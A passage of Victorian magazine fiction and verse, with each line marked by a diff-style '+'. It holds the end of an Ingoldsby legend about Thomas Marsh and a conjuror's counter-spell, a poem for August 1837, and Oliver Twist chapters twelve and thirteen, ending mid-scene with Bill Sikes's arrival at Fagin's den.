+The Black Cat gave vent to a single Mew,--a most unnatural sound for a
+mouser,--it seemed as it were mewed through a cow's horn!
+
+"Quick, Master Marsh! uncase, or you perish!" repeated his strange
+host, throwing as he spoke a handful of some dingy-looking powders
+into the brasier. "Behold, the attack is begun!" A thick cloud rose
+from the embers; a cold shivering shook the astonished Yeoman: sharp
+pricking pains penetrated his ankles and the palms of his hands, and,
+as the smoke cleared away, he distinctly saw and recognised in the
+mirror the boudoir of Marshton Hall. The doors of the well-known ebony
+cabinet were closed; but, fixed against them, and standing out in
+strong relief from the contrast afforded by the sable background, was a
+waxen image--of himself! It appeared to be secured and sustained in an
+upright posture by large black pins driven through the feet and palms,
+the latter of which were extended in a cruciform position. To the
+right and left stood his wife and José; in the middle, with his back
+towards him, was a figure which he had no difficulty in recognising as
+that of the Leech of Folkestone. It had just succeeded in fastening the
+dexter hand of the image, and was now in the act of drawing a broad and
+keen-edged sabre from its sheath. The Black Cat mewed again. "Haste,
+or you die!" said the Doctor. Marsh looked at the dial; it wanted but
+four minutes of nine: he felt that the crisis of his fate was come. Off
+went his heavy boots; doublet to the right, galligaskins to the left;
+never was man more swiftly disrobed: in two minutes, to use an Indian
+expression, "he was all face!" in another, he was on his back, and up
+to his chin, in a bath which smelt strongly as of brimstone and garlick.
+
+"Heed well the clock!" cried the Conjuror: "with the first stroke of
+Nine plunge thy head beneath the water; suffer not a hair above the
+surface: plunge deeply, or you are lost!"
+
+The little man had seated himself in the centre of the circle upon the
+large skull, elevating his legs at an angle of forty-five degrees. In
+this position he spun round with a velocity to be equalled only by that
+of a tee-totum, the red roses on his insteps seeming to describe a
+circle of fire. The best buckskins that ever mounted at Melton had soon
+yielded to such rotatory friction; but he spun on, the Cat mewed, bats
+and obscene birds fluttered over head, Erasmus was seen to raise his
+weapon, the clock struck!--and Marsh, who had "ducked" at the instant,
+popped up his head again, spitting and sputtering, half choked with
+the infernal mixture, which had insinuated itself into his mouth, and
+ears, and nose. All disgust at his nauseous dip was, however, at once
+removed, when, casting his eyes on the glass, he saw the consternation
+of the party whose persons it exhibited. Erasmus had evidently made his
+blow and failed; the figure was unmutilated; the hilt remained in the
+hand of the striker, while the shivered blade lay in shining fragments
+on the floor.
+
+The Conjuror ceased his spinning, and brought himself to an anchor;
+the Black Cat purred,--its purring seemed strangely mixed with the
+self-satisfied chuckle of a human being. Where had Marsh heard
+something like it before?
+
+He was rising from his unsavoury couch, when a motion from the little
+man checked him. "Rest where you are, Thomas Marsh; so far all goes
+well, but the danger is not yet over!" He looked again, and perceived
+that the shadowy triumvirate were in deep and eager consultation;
+the fragments of the shattered weapon appeared to undergo a close
+scrutiny. The result was clearly unsatisfactory; the lips of the
+parties moved rapidly, and much gesticulation might be observed, but
+no sound fell upon the ear. The hand of the dial had nearly reached
+the quarter: at once the parties separated; and Buckthorne stood
+again before the figure, his hand armed with a long and sharp-pointed
+_misericorde_, a dagger little in use of late, but such as, a century
+before, often performed the part of a modern oyster-knife, in tickling
+the osteology of a dismounted cavalier through the shelly defences of
+his plate-armour. Again he raised his arm. "Duck!" roared the Doctor,
+spinning away upon his cephalic pivot: the Black Cat cocked his tail,
+and seemed to mew the word "Duck!" Down went Master Marsh's head; but
+one of his hands had unluckily been resting on the edge of the bath: he
+drew it hastily in, but not altogether scathless; the stump of a rusty
+nail, projecting from the margin of the bath, had caught and slightly
+grazed it. The pain was more acute than is usually produced by such
+trivial accident; and Marsh, on once more raising his head, beheld the
+dagger of the leech sticking in the little finger of the wax figure,
+which it had seemingly nailed to the cabinet door.
+
+"By my truly, a scape o' the narrowest!" quoth the Conjuror; "the next
+course, dive you not the readier, there is no more life in you than
+in a pickled herring. What! courage, Master Marsh; but be heedful: an
+they miss again, let them bide the issue!" He drew his hand athwart
+his brow as he spoke, and dashed off the perspiration, which the
+violence of his exercise had drawn from every pore. Black Tom sprang
+upon the edge of the bath, and stared full in the face of the bather:
+his sea-green eyes were lambent with unholy fire, but their marvellous
+obliquity of vision was not to be mistaken,--the very countenance,
+too!--Could it be?--the features were feline, but their expression
+that of the Jack-Pudding? Was the Mountebank a Cat, or the Cat a
+Mountebank?--it was all a mystery; and Heaven knows how long Marsh
+might have continued staring at Grimalkin, had not his attention been
+again called by Aldrovando to the magic mirror. Great dissatisfaction,
+not to say dismay, seemed to pervade the conspirators; Dame Isabel was
+closely inspecting the figure's wounded hand, while José was aiding the
+pharmacopolist to charge a huge petronel with powder and bullets. The
+load was a heavy one; but Erasmus seemed determined this time to make
+sure of his object. Somewhat of trepidation might be observed in his
+manner as he rammed down the balls, and his withered cheek appeared
+to have acquired an increase of paleness; but amazement rather than
+fear was the prevailing symptom, and his countenance betrayed no jot
+of irresolution. As the clock was about to chime half-past nine, he
+planted himself with a firm foot in front of the image, waved his
+unoccupied hand with a cautionary gesture to his companions, and, as
+they hastily retired on either side, brought the muzzle of his weapon
+within half a foot of his mark. As the shadowy form was about to draw
+the trigger, Marsh again plunged his head beneath the surface; and
+the sound of an explosion, as of fire-arms, mingled with the rush of
+water that poured into his ears. His immersion was but momentary, yet
+did he feel as though half suffocated: he sprang from the bath, and,
+as his eye fell on the mirror, he saw, or thought he saw, the Leech
+of Folkestone lying dead on the floor of his wife's boudoir, his
+head shattered to pieces, and his hand still grasping the stock of a
+bursten petronel. He saw no more; his head swam, his senses reeled, the
+whole room was turning round, and, as he fell to the ground, the last
+impressions to which he was conscious were the chucklings of a hoarse
+laughter and the mewings of a Tom Cat.
+
+Master Marsh was found the next morning by his bewildered serving-man,
+stretched before the door of the humble hostel at which he sojourned.
+His clothes were somewhat torn and much bemired; and deeply did honest
+Ralph marvel that one so staid and grave as Marsh of Marston should
+thus have played the roisterer, missing perchance a profitable bargain
+for the drunken orgies of midnight wassail, or the endearments of some
+rustic light-o'-love. Tenfold was his astonishment increased when,
+after retracing in silence their journey of the preceding day, the
+Hall, on their arrival about noon, was found in a state of uttermost
+confusion. No wife stood there to greet with the smile of bland
+affection her returning spouse; no page to hold his stirrup, or receive
+his gloves, his hat, and riding-rod. The doors were open, the rooms in
+most admired disorder; men and maidens peeping, hurrying hither and
+thither, and popping in and out, like rabbits in a warren. The lady of
+the mansion was nowhere to be found.
+
+José, too, had disappeared: the latter had been last seen riding
+furiously towards Folkestone early in the preceding afternoon; to a
+question from Hodge Gardener he had hastily answered, that he bore a
+missive of moment from his mistress. The lean apprentice of Erasmus
+Buckthorne declared that the page had summoned his master in haste
+about six of the clock, and that they had rode forth together, as he
+very believed, on their way back to the Hall, where he had supposed
+Master Buckthorne's services to be suddenly required on some pressing
+emergency. Since that time he had seen nought of either of them: the
+grey cob, however, had returned late at night, masterless, with his
+girths loose, and the saddle turned upside down.
+
+Nor was Master Erasmus Buckthorne ever seen again. Strict search
+was made through the neighbourhood, but without success; and it was
+at length presumed that he must, for reasons which nobody could
+divine, have absconded with José and his faithless mistress. The
+latter had carried off with her the strong box, divers articles of
+valuable plate, and jewels of price. Her boudoir appeared to have
+been completely ransacked; the cabinet and drawers stood open, and
+empty; the very carpet, a luxury then newly introduced into England,
+was gone. Marsh, however, could trace no vestige of the visionary
+scene which he affirmed to have been last night presented to his eyes.
+Much did the neighbours marvel at his story: some thought him mad;
+others, that he was merely indulging in that privilege to which, as
+a traveller, he had a right indefeasible. Trusty Ralph said nothing,
+but shrugged his shoulders; and, falling into the rear, imitated the
+action of raising the wine-cup to his lips. An opinion, indeed, soon
+prevailed, that Master Thomas Marsh had gotten, in common parlance,
+exceedingly drunk on the preceding evening, and dreamt all that he had
+so circumstantially related. This belief acquired additional credit
+when they whom curiosity induced to visit the woody knoll of Aldington
+Mount declared that they could find no building such as that described;
+nor any cottage near, save one, indeed, a low-roofed hovel, once a
+house of public entertainment, but now half in ruins. The "Old Cat
+and Fiddle"--so was the tenement called--had been long uninhabited;
+yet still exhibited the remains of a broken sign, on which the keen
+observer might decypher something like a rude portrait of the animal
+from which it derived its name. It was also supposed still to afford
+an occasional asylum to the smugglers of the coast, but no trace of
+any visit from sage or mountebank could be detected; nor was the wise
+Aldrovando, whom many remembered to have seen at the fair, ever found
+again on all that country-side. Of the runaways nothing was ever
+certainly known. A boat, the property of an old fisherman who plied
+his trade on the outskirts of the town, had been seen to quit the bay
+that night; and there were those who declared that she had more hands
+on board than Carden and his son, her usual complement; but, as a
+gale came on, and the frail bark was eventually found keel upwards on
+the Goodwin Sands, it was presumed that she had struck on that fatal
+quicksand in the dark, and that all on board had perished.
+
+Little Marian, whom her profligate mother had abandoned, grew up to be
+a fine girl, and a handsome. She became, moreover, heiress to Marshton
+Hall, and brought the estate into the Ingoldsby family by her marriage
+with one of its scions.
+
+It is a little singular that, on pulling down the old Hall in my
+grandfather's time, a human skeleton was discovered among the rubbish,
+under what particular part of the building I could never with any
+accuracy ascertain; but it was found enveloped in a tattered cloth,
+that seemed to have been once a carpet, and which fell to pieces almost
+immediately on being exposed to the air. The bones were perfect,
+but those of one hand were wanting; and the skull, perhaps from the
+labourer's pick-axe, had received considerable injury.
+
+The portrait of the fair Marian hangs yet in the Gallery of Tappington;
+and near it is another, of a young man in the prime of life, whom
+Mrs. Botherby pronounces her father. It exhibits a mild and rather
+melancholy countenance, with a high forehead, and the picked beard and
+moustaches of the seventeenth century. The signet-finger of the left
+hand is gone, and appears, on close inspection, to have been painted
+out by some later artist; possibly in compliment to the tradition,
+which, _teste Botherby_, records that of Mr. Marsh to have gangrened,
+and to have undergone amputation at the knuckle-joint. If really the
+resemblance of the gentleman alluded to, it must have been taken at
+some period antecedent to his marriage. There is neither date nor
+painter's name; but, a little above the head, on the dexter side of the
+picture, is an escutcheon, bearing Quarterly, Gules and Argent; in the
+first quarter, a horse's head of the second; beneath it are the words
+"_Ætatis suæ_, 26." On the opposite side is the following marks which
+Mr. Simpkinson declares to be that of a Merchant of the Staple, and
+pretends to discover in the anagram comprised in it all the characters
+which compose the name of THOMAS MARSH, of MARSHTON.
+
+[Illustration]
+
+        THOMAS INGOLDSBY.
+
+
+
+
+SONG OF THE MONTH. No. VIII.
+
+August, 1837.
+
+
+                   I.
+
+    Of all the months in the twelve that fly
+    So lightly on, and noiselessly by,
+    There is not one who can show so fair
+    As this, with its soft and balmy air.
+    The light graceful corn waves to and fro,
+    Tinging the earth with its richest glow;
+    The forest trees in their state and might
+    Proclaim that Summer is at his height.
+
+
+                   II.
+
+    Of all the months in the twelve that speed
+    So quickly by, with so little heed
+    From man, of the years that swiftly pass
+    As an infant's breath from a polished glass,
+    There is not one whose fading away
+    Bears such a lesson to mortal clay,
+    Warning us sternly, when in our prime,
+    To look for the withering winter time.
+
+
+                   III.
+
+    I stood by a young girl's grave last night,
+    Beautiful, innocent, pure, and bright,
+    Who, in the bloom of her summer's pride,
+    And all its loveliness, drooped and died.
+    Since the sweetest flow'rs are soonest dust,
+    As truest metal is quick to rust,
+    Look for a change in that time of year,
+    When Nature's works at their best appear.
+
+
+
+
+OLIVER TWIST;
+
+OR, THE PARISH BOY'S PROGRESS.
+
+BY BOZ.
+
+ILLUSTRATED BY GEORGE CRUIKSHANK.
+
+
+CHAPTER THE TWELFTH.
+
+IN WHICH OLIVER IS TAKEN BETTER CARE OF, THAN HE EVER WAS BEFORE. WITH
+SOME PARTICULARS CONCERNING A CERTAIN PICTURE.
+
+The coach rattled away down Mount Pleasant and up Exmouth-street,--over
+nearly the same ground as that which Oliver had traversed when he first
+entered London in company with the Dodger,--and, turning a different
+way when it reached the Angel at Islington, stopped at length before
+a neat house in a quiet shady street near Pentonville. Here a bed was
+prepared without loss of time, in which Mr. Brownlow saw his young
+charge carefully and comfortably deposited; and here he was tended with
+a kindness and solicitude which knew no bounds.
+
+But for many days Oliver remained insensible to all the goodness of his
+new friends; the sun rose and sunk, and rose and sunk again, and many
+times after that, and still the boy lay stretched upon his uneasy bed,
+dwindling away beneath the dry and wasting heat of fever,--that heat
+which, like the subtle acid that gnaws into the very heart of hardest
+iron, burns only to corrode and to destroy. The worm does not his work
+more surely on the dead body, than does this slow, creeping fire upon
+the living frame.
+
+Weak, and thin, and pallid, he awoke at last from what seemed to have
+been a long and troubled dream. Feebly raising himself in the bed, with
+his head resting on his trembling arm, he looked anxiously round.
+
+"What room is this?--where have I been brought to?" said Oliver. "This
+is not the place I went to sleep in."
+
+He uttered these words in a feeble voice, being very faint and weak;
+but they were overheard at once, for the curtain at the bed's head was
+hastily drawn back, and a motherly old lady, very neatly and precisely
+dressed, rose as she undrew it, from an arm-chair close by, in which
+she had been sitting at needle-work.
+
+"Hush, my dear," said the old lady softly. "You must be very quiet,
+or you will be ill again, and you have been very bad,--as bad as bad
+could be, pretty nigh. Lie down again, there's a dear." With these
+words the old lady very gently placed Oliver's head upon the pillow,
+and, smoothing back his hair from his forehead, looked so kindly and
+lovingly in his face, that he could not help placing his little
+withered hand upon her's and drawing it round his neck.
+
+[Illustration: Oliver recovering from Fever]
+
+"Save us!" said the old lady, with tears in her eyes, "what a grateful
+little dear it is. Pretty creetur, what would his mother feel if she
+had sat by him as I have, and could see him now!"
+
+"Perhaps she does see me," whispered Oliver, folding his hands
+together; "perhaps she has sat by me, ma'am. I almost feel as if she
+had."
+
+"That was the fever, my dear," said the old lady mildly.
+
+"I suppose it was," replied Oliver thoughtfully, "because Heaven is a
+long way off, and they are too happy there, to come down to the bedside
+of a poor boy. But if she knew I was ill, she must have pitied me even
+there, for she was very ill herself before she died. She can't know
+anything about me though," added Oliver after a moment's silence, "for
+if she had seen me beat, it would have made her sorrowful; and her face
+has always looked sweet and happy when I have dreamt of her."
+
+The old lady made no reply to this, but wiping her eyes first, and her
+spectacles, which lay on the counterpane, afterwards, as if they were
+part and parcel of those features, brought some cool stuff for Oliver
+to drink, and then, patting him on the cheek, told him he must lie very
+quiet, or he would be ill again.
+
+So Oliver kept very still, partly because he was anxious to obey the
+kind old lady in all things, and partly, to tell the truth, because
+he was completely exhausted with what he had already said. He soon
+fell into a gentle doze, from which he was awakened by the light of
+a candle, which, being brought near the bed, showed him a gentleman,
+with a very large and loud-ticking gold watch in his hand, who felt his
+pulse, and said he was a great deal better.
+
+"You _are_ a great deal better, are you not, my dear?" said the
+gentleman.
+
+"Yes, thank you, sir," replied Oliver.
+
+"Yes, I know you are," said the gentleman: "you're hungry too, an't
+you?"
+
+"No, sir," answered Oliver.
+
+"Hem!" said the gentleman. "No, I know you're not. He is not hungry,
+Mrs. Bedwin," said the gentleman, looking very wise.
+
+The old lady made a respectful inclination of the head, which seemed
+to say that she thought the doctor was a very clever man. The doctor
+appeared very much of the same opinion himself.
+
+"You feel sleepy, don't you, my dear?" said the doctor.
+
+"No, sir," replied Oliver.
+
+"No," said the doctor with a very shrewd and satisfied look. "You're
+not sleepy. Nor thirsty, are you?"
+
+"Yes, sir, rather thirsty," answered Oliver.
+
+"Just as I expected, Mrs. Bedwin," said the doctor. "It's very natural
+that he should be thirsty--perfectly natural. You may give him a little
+tea, ma'am, and some dry toast without any butter. Don't keep him too
+warm, ma'am; but be careful that you don't let him be too cold; will
+you have the goodness?"
+
+The old lady dropped a curtsey; and the doctor, after tasting the cool
+stuff, and expressing a qualified approval thereof, hurried away: his
+boots creaking in a very important and wealthy manner as he went down
+stairs.
+
+Oliver dozed off again soon after this, and when he awoke it was nearly
+twelve o'clock. The old lady tenderly bade him good-night shortly
+afterwards, and left him in charge of a fat old woman who had just
+come, bringing with her in a little bundle a small Prayer Book and a
+large nightcap. Putting the latter on her head, and the former on the
+table, the old woman, after telling Oliver that she had come to sit up
+with him, drew her chair close to the fire and went off into a series
+of short naps, chequered at frequent intervals with sundry tumblings
+forward and divers moans and chokings, which, however, had no worse
+effect than causing her to rub her nose very hard, and then fall asleep
+again.
+
+And thus the night crept slowly on. Oliver lay awake for some time,
+counting the little circles of light which the reflection of the
+rushlight-shade threw upon the ceiling, or tracing with his languid
+eyes the intricate pattern of the paper on the wall. The darkness and
+deep stillness of the room were very solemn; and as they brought into
+the boy's mind the thought that death had been hovering there for many
+days and nights, and might yet fill it with the gloom and dread of his
+awful presence, he turned his face upon the pillow and fervently prayed
+to Heaven.
+
+Gradually he fell into that deep tranquil sleep which ease from recent
+suffering alone imparts; that calm and peaceful rest which it is pain
+to wake from. Who, if this were death, would be roused again to all the
+struggles and turmoils of life,--to all its cares for the present, its
+anxieties for the future, and, more than all, its weary recollections
+of the past!
+
+It had been bright day for hours when Oliver opened his eyes; and when
+he did so, he felt cheerful and happy. The crisis of the disease was
+safely past, and he belonged to the world again.
+
+In three days' time he was able to sit in an easy-chair well propped
+up with pillows; and, as he was still too weak to walk, Mrs. Bedwin
+had him carried down stairs into the little housekeeper's room, which
+belonged to her, where, having sat him up by the fireside, the good
+old lady sat herself down too, and, being in a state of considerable
+delight at seeing him so much better, forthwith began to cry most
+violently.
+
+"Never mind me, my dear," said the old lady; "I'm only having a
+regular good cry. There, it's all over now, and I'm quite comfortable."
+
+"You're very, very kind to me, ma'am," said Oliver.
+
+"Well, never you mind that, my dear," said the old lady; "that's got
+nothing to do with your broth, and it's full time you had it, for the
+doctor says Mr. Brownlow may come in to see you this morning, and we
+must get up our best looks, because the better we look, the more he'll
+be pleased." And with this, the old lady applied herself to warming up
+in a little saucepan a basin full of broth strong enough to furnish
+an ample dinner, when reduced to the regulation strength, for three
+hundred and fifty paupers, at the very lowest computation.
+
+"Are you fond of pictures, dear?" inquired the old lady, seeing that
+Oliver had fixed his eyes most intently on a portrait which hung
+against the wall just opposite his chair.
+
+"I don't quite know, ma'am," said Oliver, without taking his eyes from
+the canvass; "I have seen so few that I hardly know. What a beautiful
+mild face that lady's is!"
+
+"Ah," said the old lady, "painters always make ladies out prettier than
+they are, or they wouldn't get any custom, child. The man that invented
+the machine for taking likenesses might have known _that_ would never
+succeed; it's a deal too honest,--a deal," said the old lady, laughing
+very heartily at her own acuteness.
+
+"Is--is that a likeness, ma'am?" said Oliver.
+
+"Yes," said the old lady, looking up for a moment from the broth;
+"that's a portrait."
+
+"Whose, ma'am?" asked Oliver eagerly.
+
+"Why, really, my dear, I don't know," answered the old lady in a
+good-humoured manner. "It's not a likeness of anybody that you or I
+know, I expect. It seems to strike your fancy, dear."
+
+"It is so very pretty: so very beautiful," replied Oliver.
+
+"Why, sure you're not afraid of it?" said the old lady, observing
+in great surprise the look of awe with which the child regarded the
+painting.
+
+"Oh no, no," returned Oliver quickly; "but the eyes look so sorrowful,
+and where I sit they seem fixed upon me. It makes my heart beat," added
+Oliver in a low voice, "as if it was alive, and wanted to speak to me,
+but couldn't."
+
+"Lord save us!" exclaimed the old lady, starting; "don't talk in that
+way, child. You're weak and nervous after your illness. Let me wheel
+your chair round to the other side, and then you won't see it. There,"
+said the old lady, suiting the action to the word; "you don't see it
+now, at all events."
+
+Oliver _did_ see it in his mind's eye as distinctly as if he had not
+altered his position, but he thought it better not to worry the kind
+old lady; so he smiled gently when she looked at him, and Mrs. Bedwin,
+satisfied that he felt more comfortable, salted and broke bits of
+toasted bread into the broth with all the bustle befitting so solemn a
+preparation. Oliver got through it with extraordinary expedition, and
+had scarcely swallowed the last spoonful when there came a soft tap at
+the door. "Come in," said the old lady; and in walked Mr. Brownlow.
+
+Now, the old gentleman came in as brisk as need be; but he had no
+sooner raised his spectacles on his forehead, and thrust his hands
+behind the skirts of his dressing-gown to take a good long look at
+Oliver, than his countenance underwent a very great variety of odd
+contortions. Oliver looked very worn and shadowy from sickness,
+and made an ineffectual attempt to stand up, out of respect to his
+benefactor, which terminated in his sinking back into the chair again;
+and the fact is, if the truth must be told, that Mr. Brownlow's heart
+being large enough for any six ordinary old gentlemen of humane
+disposition, forced a supply of tears into his eyes by some hydraulic
+process which we are not sufficiently philosophical to be in a
+condition to explain.
+
+"Poor boy, poor boy!" said Mr. Brownlow clearing his throat. "I'm
+rather hoarse this morning, Mrs. Bedwin; I'm afraid I have caught cold."
+
+"I hope not, sir," said Mrs. Bedwin. "Everything you have had has been
+well aired, sir."
+
+"I don't know, Bedwin,--I don't know," said Mr. Brownlow; "I rather
+think I had a damp napkin at dinner-time yesterday: but never mind
+that. How do you feel, my dear?"
+
+"Very happy, sir," replied Oliver, "and very grateful indeed, sir, for
+your goodness to me,"
+
+"Good boy," said Mr. Brownlow stoutly. "Have you given him any
+nourishment, Bedwin?--any slops, eh?"
+
+"He has just had a basin of beautiful strong broth, sir," replied Mrs.
+Bedwin, drawing herself up slightly, and laying a strong emphasis
+on the last word, to intimate that between slops, and broth well
+compounded, there existed no affinity or connexion whatsoever.
+
+"Ugh!" said Mr. Brownlow, with a slight shudder; "a couple of glasses
+of port wine would have done him a great deal more good,--wouldn't
+they, Tom White,--eh?"
+
+"My name is Oliver, sir," replied the little invalid with a look of
+great astonishment.
+
+"Oliver!" said Mr. Brownlow; "Oliver what? Oliver White,--eh?"
+
+"No, sir, Twist,--Oliver Twist."
+
+"Queer name," said the old gentleman. "What made you tell the
+magistrate your name was White?"
+
+"I never told him so, sir," returned Oliver in amazement.
+
+This sounded so like a falsehood, that the old gentleman looked
+somewhat sternly in Oliver's face. It was impossible to doubt him;
+there was truth in every one of its thin and sharpened lineaments.
+
+"Some mistake," said Mr. Brownlow. But, although his motive for looking
+steadily at Oliver no longer existed, the old idea of the resemblance
+between his features and some familiar face came upon him so strongly
+that he could not withdraw his gaze.
+
+"I hope you are not angry with me, sir," said Oliver, raising his eyes
+beseechingly.
+
+"No, no," replied the old gentleman.--"Gracious God, what's this!
+Bedwin, look, look there!"
+
+As he spoke, he pointed hastily to the picture above Oliver's head,
+and then to the boy's face. There was its living copy,--the eyes, the
+head, the mouth; every feature was the same. The expression was for the
+instant so precisely alike, that the minutest line seemed copied with
+an accuracy which was perfectly unearthly.
+
+Oliver knew not the cause of this sudden exclamation, for he was not
+strong enough to bear the start it gave him, and he fainted away.
+
+
+CHAPTER THE THIRTEENTH
+
+REVERTS TO THE MERRY OLD GENTLEMAN AND HIS YOUTHFUL FRIENDS, THROUGH
+WHOM A NEW ACQUAINTANCE IS INTRODUCED TO THE INTELLIGENT READER, AND
+CONNECTED WITH WHOM VARIOUS PLEASANT MATTERS ARE RELATED APPERTAINING
+TO THIS HISTORY.
+
+When the Dodger and his accomplished friend Master Bates joined in the
+hue and cry which was raised at Oliver's heels, in consequence of their
+executing an illegal conveyance of Mr. Brownlow's personal property,
+as hath been already described with great perspicuity in a foregoing
+chapter, they were actuated, as we therein took occasion to observe,
+by a very laudable and becoming regard for themselves: and forasmuch
+as the freedom of the subject and the liberty of the individual are
+among the first and proudest boasts of a true-hearted Englishman, so
+I need hardly beg the reader to observe that this action must tend to
+exalt them in the opinion of all public and patriotic men, in almost
+as great a degree as this strong proof of their anxiety for their own
+preservation and safety goes to corroborate and confirm the little
+code of laws which certain profound and sound-judging philosophers
+have laid down as the mainsprings of all Madam Nature's deeds and
+actions; the said philosophers very wisely reducing the good lady's
+proceedings to matters of maxim and theory, and, by a very neat and
+pretty compliment to her exalted wisdom and understanding, putting
+entirely out of sight any considerations of heart, or generous impulse
+and feeling, as matters totally beneath a female who is acknowledged by
+universal admission to be so far beyond the numerous little foibles and
+weaknesses of her sex.
+
+If I wanted any further proof of the strictly philosophical nature
+of the conduct of these young gentlemen in their very delicate
+predicament, I should at once find it in the fact (also recorded in a
+foregoing part of this narrative) of their quitting the pursuit when
+the general attention was fixed upon Oliver, and making immediately for
+their home by the shortest possible cut; for although I do not mean
+to assert that it is the practice of renowned and learned sages at
+all to shorten the road to any great conclusion, their course indeed
+being rather to lengthen the distance by various circumlocutions and
+discursive staggerings, like those in which drunken men under the
+pressure of a too mighty flow of ideas are prone to indulge, still
+I do mean to say, and do say distinctly, that it is the invariable
+practice of all mighty philosophers, in carrying out their theories, to
+evince great wisdom and foresight in providing against every possible
+contingency which can be supposed at all likely to affect themselves.
+Thus, to do a great right, you may do a little wrong, and you may take
+any means which the end to be attained will justify; the amount of the
+right or the amount of the wrong, or indeed the distinction between the
+two, being left entirely to the philosopher concerned: to be settled
+and determined by his clear, comprehensive, and impartial view of his
+own particular case.
+
+It was not until the two boys had scoured with great rapidity through a
+most intricate maze of narrow streets and courts, that they ventured to
+halt by common consent beneath a low and dark archway. Having remained
+silent here, just long enough to recover breath to speak, Master Bates
+uttered an exclamation of amusement and delight, and, bursting into an
+uncontrollable fit of laughter, flung himself upon a door-step, and
+rolled thereon in a transport of mirth.
+
+"What's the matter?" inquired the Dodger.
+
+"Ha! ha! ha!" roared Charley Bates.
+
+"Hold your noise," remonstrated the Dodger, looking cautiously round.
+"Do you want to be grabbed, stupid?"
+
+"I can't help it," said Charley, "I can't help it. To see him splitting
+away at that pace, and cutting round the corners, and knocking up
+against the posts, and starting on again as if he was made of iron as
+well as them, and me with the wipe in my pocket, singing out arter
+him--oh, my eye!" The vivid imagination of Master Bates presented
+the scene before him in too strong colours. As he arrived at this
+apostrophe, he again rolled upon the door-step and laughed louder than
+before.
+
+"What'll Fagin say?" inquired the Dodger, taking advantage of the next
+interval of breathlessness on the part of his friend to propound the
+question.
+
+"What!" repeated Charley Bates.
+
+"Ah, what?" said the Dodger.
+
+"Why, what should he say?" inquired Charley, stopping rather suddenly
+in his merriment, for the Dodger's manner was impressive; "what should
+he say?"
+
+Mr. Dawkins whistled for a couple of minutes, and then, taking off his
+hat, scratched his head and nodded thrice.
+
+"What do you mean?" said Charley.
+
+"Toor rul lol loo, gammon and spinnage, the frog he wouldn't, and high
+cockolorum," said the Dodger with a slight sneer on his intellectual
+countenance.
+
+This was explanatory, but not satisfactory. Mr. Bates felt it so, and
+again said, "What do you mean?"
+
+The Dodger made no reply, but putting his hat on again, and gathering
+the skirts of his long-tailed coat under his arms, thrust his tongue
+into his cheek, slapped the bridge of his nose some half-dozen times in
+a familiar but expressive manner, and then, turning on his heel, slunk
+down the court. Mr. Bates followed, with a thoughtful countenance.
+
+The noise of footsteps on the creaking stairs a few minutes after the
+occurrence of this conversation roused the merry old gentleman as he
+sat over the fire with a saveloy and a small loaf in his left hand, a
+pocket-knife in his right, and a pewter pot on the trivet. There was
+a rascally smile on his white face as he turned round, and, looking
+sharply out from under his thick red eyebrows, bent his ear towards the
+door and listened intently.
+
+"Why, how's this?" muttered the Jew, changing countenance; "only two of
+'em! Where's the third? They can't have got into trouble. Hark!"
+
+The footsteps approached nearer; they reached the landing, the door was
+slowly opened, and the Dodger and Charley Bates entered and closed it
+behind them.
+
+"Where's Oliver, you young hounds?" said the furious Jew, rising with a
+menacing look: "where's the boy?"
+
+The young thieves eyed their preceptor as if they were alarmed at his
+violence, and looked uneasily at each other, but made no reply.
+
+"What's become of the boy?" said the Jew, seizing the Dodger tightly by
+the collar, and threatening him with horrid imprecations. "Speak out,
+or I'll throttle you!"
+
+Mr. Fagin looked so very much in earnest, that Charley Bates, who
+deemed it prudent in all cases to be on the safe side, and conceived
+it by no means improbable that it might be his turn to be throttled
+second, dropped upon his knees, and raised a loud, well-sustained,
+and continuous roar, something between an insane bull and a
+speaking-trumpet.
+
+"Will you speak?" thundered the Jew, shaking the Dodger so much that
+his keeping in the big coat at all seemed perfectly miraculous.
+
+"Why, the traps have got him, and that's all about it," said the Dodger
+sullenly. "Come, let go o' me, will yer!" and, swinging himself at one
+jerk clean out of the big coat, which he left in the Jew's hands, the
+Dodger snatched up the toasting-fork and made a pass at the merry old
+gentleman's waistcoat, which, if it had taken effect, would have let
+a little more merriment out than could have been easily replaced in a
+month or two.
+
+The Jew stepped back in this emergency with more agility than could
+have been anticipated in a man of his apparent decrepitude, and,
+seizing up the pot, prepared to hurl it at his assailant's head. But
+Charley Bates at this moment calling his attention by a perfectly
+terrific howl, he suddenly altered its destination, and flung it full
+at that young gentleman.
+
+"Why, what the blazes is in the wind now!" growled a deep voice. "Who
+pitched that 'ere at me? It's well it's the beer and not the pot as
+hit me, or I 'd have settled somebody. I might have know'd as nobody
+but an infernal rich, plundering, thundering old Jew could afford
+to throw away any drink but water, and not that, unless he done the
+River company every quarter. Wot's it all about, Fagin. D---- me if my
+neckankecher an't lined with beer. Come in, you sneaking warmint; wot
+are you stopping outside for, as if you was ashamed of your master.
+Come in!"
+
+The man who growled out these words was a stoutly-built fellow of about
+five-and-forty, in a black velveteen coat, very soiled drab breeches,
+lace-up half-boots, and grey cotton stockings, which enclosed a very
+bulky pair of legs, with large swelling calves,--the kind of legs which
+in such costume always look in an unfinished and incomplete state
+without a set of fetters to garnish them. He had a brown hat on his
+head, and a dirty belcher handkerchief round his neck, with the long
+frayed ends of which, he smeared the beer from his face as he spoke;
+disclosing when he had done so, a broad heavy countenance with a beard
+of three days' growth, and two scowling eyes, one of which displayed
+various parti-coloured symptoms of having been recently damaged by a
+blow.
+
+"Come in, d'ye hear?" growled this engaging-looking ruffian. A white
+shaggy dog, with his face scratched and torn in twenty different
+places, skulked into the room.
+
+"Why didn't you come in afore?" said the man. "You're getting too proud
+to own me afore company, are you. Lie down!"
+
+This command was accompanied with a kick which sent the animal to the
+other end of the room. He appeared well used to it, however; for he
+coiled himself up in a corner very quietly without uttering a sound,
+and, winking his very ill-looking eyes about twenty times in a minute,
+appeared to occupy himself in taking a survey of the apartment.
+
+"What are you up to? Ill-treating the boys, you covetous, avaricious,
+in-sa-ti-a-ble old fence?" said the man, seating himself deliberately.
+"I wonder they don't murder you; _I_ would if I was them. If I'd been
+your 'prentice I'd have done it long ago; and--no, I couldn't have
+sold you arterwards, though; for you're fit for nothing but keeping as
+a curiosity of ugliness in a glass bottle, and I suppose they don't
+blow them large enough."
+
+"Hush! hush! Mr. Sikes," said the Jew, trembling; "don't speak so loud."
+
+"None of your mistering," replied the ruffian; "you always mean
+mischief when you come that. You know my name: out with it. I shan't
+disgrace it when the time comes."
+
+"Well, well, then, Bill Sikes," said the Jew with abject humility. "You
+seem out of humour, Bill."
+
